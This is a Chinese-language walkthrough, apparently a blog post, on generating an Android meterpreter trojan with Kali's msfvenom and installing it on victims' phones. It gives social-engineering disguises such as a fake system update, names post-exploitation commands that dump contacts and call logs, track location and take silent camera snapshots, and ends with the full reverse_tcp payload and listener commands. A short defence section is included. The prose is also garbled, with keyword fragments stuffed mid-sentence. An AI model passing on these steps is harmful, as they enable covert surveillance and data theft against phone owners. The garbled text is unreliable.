使用kali生成木马入侵安卓手机
Kali Linux 里有个工具叫 msfvenom,使用生成手机一条命令就能吐出个安卓 APK。木马这东西装上之后,入侵你手机里的安卓短信、通讯录、使用生成手机实时定位,木马甚至摄像头画面,入侵都能被打包传回攻击者手里。安卓听起来像电影桥段,使用生成手机但操作门槛低到离谱——一个刚学会敲终端的木马新手,花半小时就能跑通全流程。入侵 我头一回试的安卓时候用的是台旧红米,系统是使用生成手机 Android 10。攻击机就是木马虚拟机里的 Kali,网络桥接模式,入侵和手机在同一个 WiFi 下。先确认 msfconsole 能正常启动,然后直接上 msfvenom: LHOST 填 Kali 的 IP,别写成 127.0.0.1,不然手机连不上。生成的 evil.apk 只有几十 KB,体积小得让人心虚。接下来把它装到手机上——这步才是整个链条里最“社会工程学”的部分。我试过直接 adb install,但真机默认关 USB 调试,得手动开。更常见的方式是伪装成“系统更新包”或“照片查看器”,通过微信、QQ 发过去,诱导点击安装。安卓会弹“未知来源应用”警告,但很多人根本不在意,点“允许”就完事了。 手机端装好后,Kali 这边启动 msfconsole,用 multi/handler 接收回连: 手机一点开那个 APK 图标,meterpreter 会话就弹出来了。第一次看到 sessions -l 里显示“1”的时候,后背确实凉了一下。进去之后能干什么?dump_calllog 把通话记录拉下来,dump_contacts 导出通讯录,geolocate 直接给经纬度——精度取决于手机 GPS 有没有开。最狠的是 webcam_snap,调用前置摄像头拍一张,无声无光,屏幕都不亮。我拿自己手机试的时候,拍出来的照片里我正低头看 Kali 屏幕,完全没察觉。 但这事没那么顺。Android 7 之后,安装未知来源 APK 的路径变深了,得进设置里单独给某个应用开权限。Android 10 以上,后台启动摄像头会被系统掐掉,除非应用在前台。厂商定制系统更麻烦,小米弹“安全警告”,华为直接拦截。所以真实攻击场景里,攻击者往往得配合钓鱼页面或者伪装成正规应用商店的下载链接。我见过一个案例,骗子把木马塞进“王者荣耀辅助工具”里,在游戏群里发,三天感染了两百多台设备。 防御其实不复杂。别装来路不明的 APK,这是第一道闸。Google Play 和国内主流商店都有扫描机制,虽然不完美但能挡掉大部分低级木马。再就是看权限——一个手电筒应用要读短信和定位,直接删。企业环境可以上 MDM 方案,强制应用白名单。个人用户的话,定期检查“设备管理器”里有没有陌生应用拿到管理员权限,那个列表里藏着的往往就是钉子户木马。 Kali 这套东西本身是合法的渗透测试工具,msfvenom 也不是病毒生成器。问题在于它太容易上手,网上教程一搜一大把,连“如何免杀”都有详细步骤。我写这篇不是教人使坏,是想说:你手机里那个“允许安装未知应用”的开关,比你想的危险得多。下次点“安装”之前,多看一眼文件名和图标,可能就省掉后面一堆麻烦。msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=4444 -o evil.apkuse exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST 192.168.1.108 set LPORT 4444 exploit